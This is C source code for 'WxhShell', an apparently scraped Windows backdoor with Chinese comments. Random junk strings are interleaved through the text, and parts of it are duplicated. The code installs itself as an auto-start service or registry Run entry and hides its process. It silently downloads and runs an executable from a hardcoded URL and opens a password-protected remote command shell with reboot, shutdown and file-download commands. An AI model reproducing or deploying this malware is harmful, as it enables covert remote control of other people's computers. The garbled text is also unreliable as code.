B HANDLE hProcess; 3tZIL PROCESS_BASIC_INFORMATION pbi; CFh9@Nx jh oA6I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fz^j3'!\ if(NULL == hInst ) return 0; $Wj= V 1<G+KC[F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x.-d)]a! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Ujg.xo\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gl+d0<Rzw U1r]e%df) if (!NtQueryInformationProcess) return 0; ~Fuq{e9` XY| y1L 3[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 44}5o if(!hProcess) return 0; f7a4E+} gbuh04#~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jx5`0? J> CloseHandle(hProcess); esJ7#Gxt 1*=ev,Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j"nOxs if(hProcess==NULL) return 0; W+&5G(z~ d AcSG HMODULE hMod; I5M\PK/ char procName[255]; KzVi:Hm unsigned long cbNeeded; ^;_~mq. ~snj92K if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L"&T3i M,fL(b;2 CloseHandle(hProcess); n.+'9Fj wS}c\!@<, if(strstr(procName,"services")) return 1; // 以服务启动 o^/
#i`) | @AXW return 0; // 注册表启动 ~Y x_ 3 } fF)Q;~_VA bKpy?5&> // 主模块 +b-ON@9]J` int StartWxhshell(LPSTR lpCmdLine) cp@Fj" { 2Xl+}M.:Y SOCKET wsl; j+h+Y|4J BOOL val=TRUE; hty'L61\z int port=0; -US:a8` struct sockaddr_in door; zz*PAYl. [8Pt$5]^ if(wscfg.ws_autoins) Install(); :dt[ # _<c"/B port=atoi(lpCmdLine); ARu_S
B jUm-!SK}q if(port<=0) port=wscfg.ws_port; A5Hx$.Z 6nk}k]Ji WSADATA data;
RU~na/3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E /H%q|q K} CgFBk if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ? uYO]!VC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <uuumi-!%G door.sin_family = AF_INET; NwF"Zh5eMW door.sin_addr.s_addr = inet_addr("127.0.0.1"); Be|! S_Y P door.sin_port = htons(port); 6RbDc* Qbv@}[f if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9F807G\4Qt closesocket(wsl); 4fKvB@O@. return 1; /f[Ek5/-0 } 3wv@wqx rL-R-;Ca if(listen(wsl,2) == INVALID_SOCKET) { w<H Xe closesocket(wsl); qO"QSSbZqQ return 1; G^ GIHdo } ATkd# k%S Wxhshell(wsl); nG'Yo8I^5 WSACleanup(); B!Wp=9)G X)!XR/? return 0; 9Q1%+zjjMq sg,\!' } ` &A`&-nc= J,Ki2'= // 以NT服务方式启动 50MM05aC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4;L|Ua { xq;>||B DWORD status = 0; Bb=r?;zjO DWORD specificError = 0xfffffff; :=B.)]F.) E.*hY+kGZ serviceStatus.dwServiceType = SERVICE_WIN32; vt5w(}v( serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0HWSdf|w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K F'fg
R serviceStatus.dwWin32ExitCode = 0; c$ /.Xp serviceStatus.dwServiceSpecificExitCode = 0; ^dpM2$J serviceStatus.dwCheckPoint = 0; w<B
S serviceStatus.dwWaitHint = 0; 'aEK{#en Xgx/ubca0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1e[?}q]* if (hServiceStatusHandle==0) return; x~5,v5R^] 8~(,qU8- N status = GetLastError(); \r
IOnZ.WK if (status!=NO_ERROR) Hpix:To { +1wEoU.l2 serviceStatus.dwCurrentState = SERVICE_STOPPED; 0cG[<\qT serviceStatus.dwCheckPoint = 0; +~V_^-JG& serviceStatus.dwWaitHint = 0; (LK@w9)i; serviceStatus.dwWin32ExitCode = status;
!U?C_ serviceStatus.dwServiceSpecificExitCode = specificError; Y)k"KRW+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ze%S<xT!O return; 9C \}bT } &n| <NF j(y<oxh serviceStatus.dwCurrentState = SERVICE_RUNNING; #MYoy7= serviceStatus.dwCheckPoint = 0; i]<@ serviceStatus.dwWaitHint = 0; GgEg (AT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fL|9/sojz } yr+QV:oVA zmQQ/7K // 处理NT服务事件,比如:启动、停止 (.$$U3\ VOID WINAPI NTServiceHandler(DWORD fdwControl) 5{yg { }$<v switch(fdwControl) Z><+4
' { `pfgx^qG case SERVICE_CONTROL_STOP: x9F* $G serviceStatus.dwWin32ExitCode = 0; Vl$RMW@Ds serviceStatus.dwCurrentState = SERVICE_STOPPED; ~EmK;[Z serviceStatus.dwCheckPoint = 0; pbG-uH^ serviceStatus.dwWaitHint = 0; ED8{ { =A5i84y.2u SetServiceStatus(hServiceStatusHandle, &serviceStatus); #^RIp>NN9 } nP*DZC0kE& return; N=u(
3So case SERVICE_CONTROL_PAUSE: qf K
gNZ serviceStatus.dwCurrentState = SERVICE_PAUSED; 7J3A]>qU break; =eY case SERVICE_CONTROL_CONTINUE: +ase>'<N# serviceStatus.dwCurrentState = SERVICE_RUNNING; 8o:h/F break; (;g/wb: case SERVICE_CONTROL_INTERROGATE: !QdX+y<re break; t~qSiHw }; ~<u\YIJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); c@,1?q1bv } Fdl0V:< f]10^y5& // 标准应用程序主函数 WS&a9!3; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V+y|C[A
F
{ gGNo!'o b:9"nALgC // 获取操作系统版本 KOR*y(* 8 OsIsNt=GetOsVer();
d3a!s GetModuleFileName(NULL,ExeFile,MAX_PATH); L"0dB. J_+2]X7n // 从命令行安装 rk%pA-P2 if(strpbrk(lpCmdLine,"iI")) Install(); %l%ad-V ih("`//nP // 下载执行文件 a:P+HU: if(wscfg.ws_downexe) { %d:cC:` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x%)oL:ue WinExec(wscfg.ws_filenam,SW_HIDE); UK'8cz9 } R,.qQF\* yuq o ^i if(!OsIsNt) { lw8t#_P // 如果时win9x,隐藏进程并且设置为注册表启动 Jm=3%H HideProc(); @=g{4(zR^ StartWxhshell(lpCmdLine); .`KzA] } SIM>Lz else V,zFHXO if(StartFromService()) kb$Yc)+R4 // 以服务方式启动 <bJ|WS| StartServiceCtrlDispatcher(DispatchTable); "WY5Pzsi: else V9KRA 1 // 普通方式启动 vx$DKQK@l\ StartWxhshell(lpCmdLine); yEB#*}K? j<WsFVS return 0; Md9y:)P@Y } ;<o?JM q+qF;7dN@ [fwk[qFa wtL=^ =========================================== uCt?(E> LCXWpUj~ Cw!tB1D "KCG']DF I=Y_EjZD 7<:o4\q?m " |U'` Sc asQ^33g z #include <stdio.h> modem6#x' #include <string.h> ',Z]w;D!G #include <windows.h> Z @DDuVr #include <winsock2.h> }] 1C=~lC #include <winsvc.h> `)8SIx #include <urlmon.h> |BtFT F1}d@^K
7d #pragma comment (lib, "Ws2_32.lib") o]]tH #pragma comment (lib, "urlmon.lib") m+dQBsz\ u>] )q7s #define MAX_USER 100 // 最大客户端连接数 oG hMO #define BUF_SOCK 200 // sock buffer s,mt%^x[ #define KEY_BUFF 255 // 输入 buffer /ZL6gRRA|
!Qsjn #define REBOOT 0 // 重启 3:w_49~:~ #define SHUTDOWN 1 // 关机 |A|K); )yz)Fw|& #define DEF_PORT 5000 // 监听端口 Bs '=YK$ ]2&RN@
#define REG_LEN 16 // 注册表键长度 tJ7tZ~Ak #define SVC_LEN 80 // NT服务名长度 Z" l].\=
F 4j,6t|T // 从dll定义API :v45Ls4J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vEE\{1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vv`94aQTD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S]}}r) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O#!|2qN 3*?W2;Zw$ // wxhshell配置信息 S%?%06$ struct WSCFG { J`; 9Z int ws_port; // 监听端口 hVz]', char ws_passstr[REG_LEN]; // 口令 qm9=Ga5 int ws_autoins; // 安装标记, 1=yes 0=no D#,A_GA{A char ws_regname[REG_LEN]; // 注册表键名 `PLax@]2 char ws_svcname[REG_LEN]; // 服务名 XE0b9q954 char ws_svcdisp[SVC_LEN]; // 服务显示名 re4z>O* char ws_svcdesc[SVC_LEN]; // 服务描述信息 @tRDKPh char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3C;;z int ws_downexe; // 下载执行标记, 1=yes 0=no 6xr%xk2E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z t char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;S&anC#E 2H] 7 =j }; -U7,~z |rgPHRX^Hn // default Wxhshell configuration PgP\v -. struct WSCFG wscfg={DEF_PORT,
1=X1<@* "xuhuanlingzhe", qx0F*EH| 1, A[F@rUZp "Wxhshell", t,A=B(W "Wxhshell", g^#,!e "WxhShell Service", J_<6;# "Wrsky Windows CmdShell Service", X_3hh} = "Please Input Your Password: ", oZL# *Z(h 1, "ChJR[4@ "http://www.wrsky.com/wxhshell.exe", lQRtsmZ0 "Wxhshell.exe" w}97`.Kt!n }; D)[( %5n'+- XVj // 消息定义模块 5]kv1nQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W%MS,zkAE char *msg_ws_prompt="\n\r? for help\n\r#>"; +T,0,^* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LOwd mj char *msg_ws_ext="\n\rExit."; 3<1x>e2nT char *msg_ws_end="\n\rQuit."; qjg Z char *msg_ws_boot="\n\rReboot..."; so Lmr's char *msg_ws_poff="\n\rShutdown..."; VHLNJnA char *msg_ws_down="\n\rSave to "; bx-:aC)]2 _$ 8:\[J char *msg_ws_err="\n\rErr!"; z63y8 char *msg_ws_ok="\n\rOK!"; oe=1[9T" s=K?-O char ExeFile[MAX_PATH]; u{sb^cmy int nUser = 0; 8RVRfy,w HANDLE handles[MAX_USER]; #B!M,TWf9s int OsIsNt; 5CfD/}{:#I U{@2kg- SERVICE_STATUS serviceStatus; (*T$:/zIS SERVICE_STATUS_HANDLE hServiceStatusHandle; 2P=~6( L{XW2c$h // 函数声明 [{>1wJ Pdj int Install(void); u3Zu ~C int Uninstall(void); X<v1ES$ int DownloadFile(char *sURL, SOCKET wsh); =L?2[a$2; int Boot(int flag); ^oE#;aS void HideProc(void); u2[L^]| int GetOsVer(void); X]W( int Wxhshell(SOCKET wsl); 5Z:qU{[ void TalkWithClient(void *cs); 0xeY0!ux int CmdShell(SOCKET sock); d*U<Ww^q int StartFromService(void); Ue>{n{H"y int StartWxhshell(LPSTR lpCmdLine); #D ]CuSi 6y^GMlsI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {lppv(U VOID WINAPI NTServiceHandler( DWORD fdwControl ); U+["b-c >4+KEK // 数据结构和表定义 h$6~3^g:P SERVICE_TABLE_ENTRY DispatchTable[] = 0x^lHBYc { 5x,/p {wscfg.ws_svcname, NTServiceMain}, e:rbyzf# {NULL, NULL} ]8'PLsS9<w }; t4hc X[ `9T5Dem|# // 自我安装 ['K}p24, int Install(void) N9rAosO* { bu08`P9 char svExeFile[MAX_PATH]; 2,|;qFJY-@ HKEY key; #veV {,g strcpy(svExeFile,ExeFile); .2ZFJ.Z" cVr+Wp7K#| // 如果是win9x系统,修改注册表设为自启动 ^oW{N if(!OsIsNt) { |goK@< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |TR
+Wn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ":GC}VIS RegCloseKey(key); h b8L[ 4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YPCitGBl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B`jq"[w]- RegCloseKey(key); |WOc0M[U return 0; &H+n0v } _,d<9 Y) } M9Nr/jE } >6)|>#Wi else { Ap4.c8f?Q- }u{gQlV // 如果是NT以上系统,安装为系统服务 cRWB`& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _c5*9')-) if (schSCManager!=0) O}}rosA { kJNwA8 7 SC_HANDLE schService = CreateService QBN\wL8g ( f/iMI)J schSCManager, M* {5> !\ wscfg.ws_svcname,
`46.! wscfg.ws_svcdisp, Ki&a"Fu3 SERVICE_ALL_ACCESS, {esb"beGLa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Htln <N SERVICE_AUTO_START, nb6Y/`G SERVICE_ERROR_NORMAL, [9#zEURS svExeFile, A5%$< NULL, *JQ*$$5 NULL, c&
bms)Jwa NULL, l"jYY3N|h NULL, mZjpPlJ NULL S kB*w'k ); gx?r8 if (schService!=0) &|db}\jT { %qTIT?6' CloseServiceHandle(schService); %H,s~IU CloseServiceHandle(schSCManager); 4- Jwy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Re
%dNxJ= strcat(svExeFile,wscfg.ws_svcname); Jyr
V2Tk^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .`V$j.a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5sN6&'[ RegCloseKey(key); ?( z"Ub] return 0; VxARJ*4=Y } k}NM]9EAE } P8ZmrtQm CloseServiceHandle(schSCManager); Y:, rN } <gfRAeXA } V*@Y9G A^A)arJS return 1; N;6o=^ic } g|7o1{ CyW|k
Dz // 自我卸载 >xq.bG int Uninstall(void) m8e()8lZ3 { Kfr1k HKEY key; P".IW.^kk~ j0V/\Ep)T< if(!OsIsNt) { Pd(_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tMp!MQ
RegDeleteValue(key,wscfg.ws_regname); {*[(j^OE RegCloseKey(key); { I\og if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SY%y *6[6 RegDeleteValue(key,wscfg.ws_regname); 0y?;o*&U\ RegCloseKey(key); pRL:,q\ return 0; ( }Bb=~ } GQ>0E } o[fg:/5)A } ( N};.DB1Y else { &>E gKL d!YP{y P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \IImxkE if (schSCManager!=0) isQOt *
i { lG%697P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OE9,D:tv if (schService!=0) V[K N,o{6 { 2zW IB[ if(DeleteService(schService)!=0) { nPqpat`E CloseServiceHandle(schService); .9PT)^2 CloseServiceHandle(schSCManager); 5)eM0,: return 0; $?bD55 } 0doJF@H CloseServiceHandle(schService); $sE=[j'v } ZH9Fs'c= CloseServiceHandle(schSCManager); Ve&_NVPrd } zqXF`MAB= } 'xGhMgR; !]82$ return 1; Rqp#-04*W } hr 6j+p: VN!nef
// 从指定url下载文件 orH6R8P] int DownloadFile(char *sURL, SOCKET wsh) ?X@[ibH6 { /pPH D] HRESULT hr; }9fch9>Zr char seps[]= "/"; 7Y(Dg`8G char *token; 5)lcgvp char *file; NimgU Fa char myURL[MAX_PATH]; kaB|+U9^ char myFILE[MAX_PATH]; o
/[7Vo iBSg`"S^]C strcpy(myURL,sURL); ]h(Iun token=strtok(myURL,seps); Td'(RV while(token!=NULL) }RI_k&; { 8Sj<,+XFq file=token; wGKxT
ap token=strtok(NULL,seps); "T5oUy&i } k1f<(@*` cr{yy :D GetCurrentDirectory(MAX_PATH,myFILE); 4A6Y
\Z XI strcat(myFILE, "\\"); sA|SOAn strcat(myFILE, file); T :d+Qz\ send(wsh,myFILE,strlen(myFILE),0); xw
43P. send(wsh,"...",3,0); R P<M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,#3Aaw if(hr==S_OK) RBn/7 return 0;
h]ae^M else L,y
q=%h| return 1; 8xgBNQdPT jc
Mn } o?>0WSLlm ]$r]GVeN}H // 系统电源模块 yVmp,""a int Boot(int flag) aO&{.DO2 { A_wf_.l4h HANDLE hToken; Yz_}* TOKEN_PRIVILEGES tkp; x-CjxU3 B #%QY\<X if(OsIsNt) { yj4"eDg] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A'z]?xQR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ia}qDGqPp! tkp.PrivilegeCount = 1; h$!YKfhq} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @i>)x*I#AI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BNCM{}e if(flag==REBOOT) { '`k7l7I[@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |f fHOef return 0; K?'m#}] } 04Zdg:[3-! else { rCDt9o> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]?@ [Ny=0 return 0; DPxx9lN_rx } ;7:} iKU } +?U[362> else { }'eef"DJ9 if(flag==REBOOT) { C`i#7zsH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =|1_6.tz return 0; O|8@cO } @u9L+*F
else { ?5nEmG|kO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [S,$E6&j$" return 0; HZRFE[ 9nb } L?N&kzA } aj;x:UqpJ MSS[-} return 1; ?YL JXq } B.5+!z&7 SED52$zA // win9x进程隐藏模块 Wn@oG@}~ void HideProc(void) 5WHz_'c
{ >2{Y5__+e q@bye4Ry%W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'fU #v`i if ( hKernel != NULL ) p-.kBF { O^8ZnN_+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;O`f+rG~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gkuqe3 FreeLibrary(hKernel); e7;7TrB. } :KO&j"[ j;`Q82V\ return; Hvk~BP'
m
} /ZV2f3;t P-4$Qksx // 获取操作系统版本 m)p|NdTZc8 int GetOsVer(void) (dSYb&] { )\u%XFPhS OSVERSIONINFO winfo; G]rY1f0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 90W=v* GetVersionEx(&winfo); }[JB% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D8L5t<^1R return 1; D2&d",%&f else JyE-c}I return 0; CjpGo}a/ } #G]IEO$M6 !lNyoX/ // 客户端句柄模块 ;
oa+Z:;f int Wxhshell(SOCKET wsl) Ak@!F6~ { u:p OP SOCKET wsh; m*_X PY struct sockaddr_in client; rk1,LsZVS DWORD myID; #E!^oZm<Z #b[bgxm while(nUser<MAX_USER) GO"|^W { bfz7t!A)A int nSize=sizeof(client); ~
q-Z-MA wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C7{VByxJ if(wsh==INVALID_SOCKET) return 1; SDC|>e9i t7-]OY7%w_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?3BcjD0 if(handles[nUser]==0) o@L0ET closesocket(wsh); ?P0b/g else #b;?:.m\= nUser++; g0zzDv7~ } 3F|p8zPS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s>6h]H gaz7u8$A= return 0; ]4H)GWHKg } Yg.[R]
UC zr?s5RS // 关闭 socket jyIIE7.I" void CloseIt(SOCKET wsh) mh}D[K=~% { sn:VM HrOT closesocket(wsh); ]6Iu\,#J nUser--; e}?Q&Lci ExitThread(0); KUU{X~w } c0Ih$z B%\&Q@X // 客户端请求句柄 +w]#26`d void TalkWithClient(void *cs) &'fER- { -O$vJ,* yq;[1O_9C SOCKET wsh=(SOCKET)cs; gV.? Myy char pwd[SVC_LEN]; ;:bp?( char cmd[KEY_BUFF]; JY CMW!~ char chr[1]; 'l5 int i,j; aC}\`.Kb gNW+Dq|X% while (nUser < MAX_USER) { QtnNc!,n Qq:}Z7
H if(wscfg.ws_passstr) { \#%GVru! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RWR{jM]V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W|8VE,"7 //ZeroMemory(pwd,KEY_BUFF); a,oTU\m
C i=0;
E$
\l57 while(i<SVC_LEN) { FcM)v"bF&] SWzqCF // 设置超时 %@C8EFl%3 fd_set FdRead; F3(SbM- struct timeval TimeOut; 3]vVuQK . FD_ZERO(&FdRead); }iKjef#J FD_SET(wsh,&FdRead); 01o<eZ, TimeOut.tv_sec=8; 8:& !F`o TimeOut.tv_usec=0; _3%$E.Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ct-eD-X{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KMi$0+ wY ItG"+6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j.] ]VA pwd=chr[0]; |*t 2IVwX if(chr[0]==0xd || chr[0]==0xa) { c"tlNf? pwd=0; L~PiDQr?r break; wb62($ } `0ym3} (O i++; O W.CU=XU } w98M#GqV G AY?F // 如果是非法用户,关闭 socket 9BZ B1oX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X[.%[G|oj} }
a k5D =aB+|E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >/\TG8t,f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Crc6wmp NTq_"`JjZ while(1) { #+D][LH4 M <JX ZeroMemory(cmd,KEY_BUFF); /#T {0GBXe kHr-UJ! // 自动支持客户端 telnet标准 r4P%.YO+X j=0; (.=Y_g. while(j<KEY_BUFF) { >8{w0hh; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~"%'(j_4 cmd[j]=chr[0]; Ry}4MEq] if(chr[0]==0xa || chr[0]==0xd) { 2fkyz cmd[j]=0; 4RDY_HgF6 break; *-=/"m } r rfJs j++; f4pIF"U9> } ?J2A.x5`a a^LckHPI> // 下载文件 ZB1%Kn#zo4 if(strstr(cmd,"http://")) { ]*zG*.C send(wsh,msg_ws_down,strlen(msg_ws_down),0); F-ZTy"z if(DownloadFile(cmd,wsh)) $s=` {v v send(wsh,msg_ws_err,strlen(msg_ws_err),0); +)yoQRekX else OP+*%$wR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l4T[x|')M } k(Xs&f
` else { Y.I~.66s Jq)k5X>&Sj switch(cmd[0]) { #xx.yn(7 tt-ci,X+ // 帮助 hwUb(pZ case '?': { |in>`:qk send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XSof{:V break; D8!
Y0 }
5q@s6_"{ // 安装 >a*dI_XE case 'i': { 6?5dGYAX< if(Install()) vG6*[c8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8h)7K/!\ else n}Eu^^d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XBX`L"0 break; 1O,5bi>t7 } oMYFfnoAa // 卸载 1F>8#+B/W case 'r': { R#Yj%$E1 if(Uninstall()) Zc38ht\r; send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88:YU4:l`N else *ze/$vz- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Muq~p~m} break; ;Q&9t } :I/9j=@1 // 显示 wxhshell 所在路径 HZ!<dy3 case 'p': { J*K=tA char svExeFile[MAX_PATH]; qYVeFSS strcpy(svExeFile,"\n\r"); euV!U}Xr strcat(svExeFile,ExeFile); f'"PQr^9 send(wsh,svExeFile,strlen(svExeFile),0); /T {R\ break; ~C>;0a;<: } `K@N\VM // 重启 lxZ9y case 'b': { {4SaSv^/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z^*g2J, if(Boot(REBOOT)) }+S~Ah?( send(wsh,msg_ws_err,strlen(msg_ws_err),0); *!%n`BR ' else { sRBfLN2C closesocket(wsh); :{S@KsPqE ExitThread(0); .K-d } 1NZpd'$c break; L~h:>I+pG } 7s%1?$B // 关机 vMX\q
case 'd': { ~mvv
:u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3rZPVR$)) if(Boot(SHUTDOWN)) GNwFB)?j send(wsh,msg_ws_err,strlen(msg_ws_err),0); /EQ^-4yr else { !"/"Mqs3$ closesocket(wsh); Zw4%L? ExitThread(0); "WmsBdO } =B+dhZ+#S$ break; ]!1HN3 } -;8 a* F // 获取shell (6H7?nv case 's': { `tT7&*Os CmdShell(wsh); h(~of( closesocket(wsh); @@R&OR ExitThread(0); Ed;!A(64r break; j5n"LC+oz } o,_F;ZhE // 退出 D8B\F5..c# case 'x': { 6W]C` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zn*W2s^^{ CloseIt(wsh); D>U(&n break; pnuwjU- } RvU'8Y?>w // 离开 (?7}\B\ case 'q': { L`Ys`7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); JX>`N5s closesocket(wsh); @kT@IQkri WSACleanup(); ox.kL exit(1); EN}4-P/5 break; zw5Ol%JF } })PU`?f } M0vX9;J } d}?KPJ{ #IqRu:csp // 提示信息 wJgH15oB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); By*YBZ } g38MF } 0;w 4WJJ siV]NI':| return; Y>2#9LA } \SgBI/L^ BP&]t1p // shell模块句柄 \7o7~pll int CmdShell(SOCKET sock) >G [:Q
s { %\'G2 STARTUPINFO si;
l] ZeroMemory(&si,sizeof(si)); X*Q<REDB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u
Vv%k5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sq2 8=1% PROCESS_INFORMATION ProcessInfo; j39"iAn char cmdline[]="cmd"; u?z,Vs" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =yJV8%pa return 0; [%Z{Mp'g } ?aB%h
|VA }KftVnD? // 自身启动模式 &[PA?#I` int StartFromService(void) E3CwA8)k { KNF{NFk typedef struct <
jX5}@`z { *xx)j:Sc2 DWORD ExitStatus; r0\C2g_X DWORD PebBaseAddress; $.ctlWS8l{ DWORD AffinityMask; [ 'B u DWORD BasePriority; ]h`d>#Hw! ULONG UniqueProcessId; 1p-<F3; ULONG InheritedFromUniqueProcessId; qckRX+P` } PROCESS_BASIC_INFORMATION; (II#9n) Z;dR:|%) PROCNTQSIP NtQueryInformationProcess; 0d0ga^O k
$# ,^)T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uE%2kB*] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7D~~<45ct #rz!d/)Q HANDLE hProcess; !,J]5$M PROCESS_BASIC_INFORMATION pbi; 9m"EY@- kexvE 3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &-vHb if(NULL == hInst ) return 0; T#H-GOY: SHnMqaq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tC/+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )2jH&}K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wr>6Go% 'OU3-K if (!NtQueryInformationProcess) return 0; :$XlYJrjK Io/;+R. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q03nu3uDI if(!hProcess) return 0; @c>MROlrlF .\
vrBf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K'K/}q< LF:~&
